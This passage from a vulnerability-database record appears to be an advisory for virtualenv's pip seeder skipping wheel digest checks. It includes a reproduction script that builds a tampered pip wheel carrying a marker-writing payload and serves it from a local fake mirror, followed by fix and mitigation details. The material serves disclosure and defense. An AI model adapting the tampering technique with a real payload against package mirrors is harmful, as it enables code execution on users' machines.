entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel's own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror's http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other's app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror's wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip's pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror's wheel for its digest: {refused}\")\nprint(f\"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}\")\nprint(f\"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, 'w').write('mirror code ran')\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f'\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n')\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.","status":"published","published":"2026-10-23T22:26:04Z","modified":"2026-10-29T10:55:56.839709622Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-494"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"UBUNTU-CVE-2026-113717","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T20:17:00Z","modified":"2026-10-28T20:17:44.568963269Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"updated_at":"2026-11-02T16:55:59.591851Z"},{"id":"AZL-112586","title":"CVE-2026-113717 affecting package python-virtualenv 20.36.1-10","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T20:17:18Z","modified":"2026-11-05T14:17:11.990682257Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"BIT-virtualenv-2026-113717","title":"virtualenv: Pip seeding with download omits wheel digest verification","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-29T09:00:32.076Z","modified":"2026-10-29T10:55:56.839709622Z","updated_at":"2026-11-02T15:28:36.104787Z"},{"id":"CLSA-2026-1793107254","title":"TuxCare security update for virtualenv (8 CVEs)","description":"TuxCare rebuilt virtualenv to address 8 CVEs. Fixed in 20.39.1.post5+tuxcare.","status":"published","published":"2026-10-27T13:20:54Z","modified":"2026-10-27T19:30:05.773061972Z","updated_at":"2026-11-02T15:43:55.34846Z"}]}}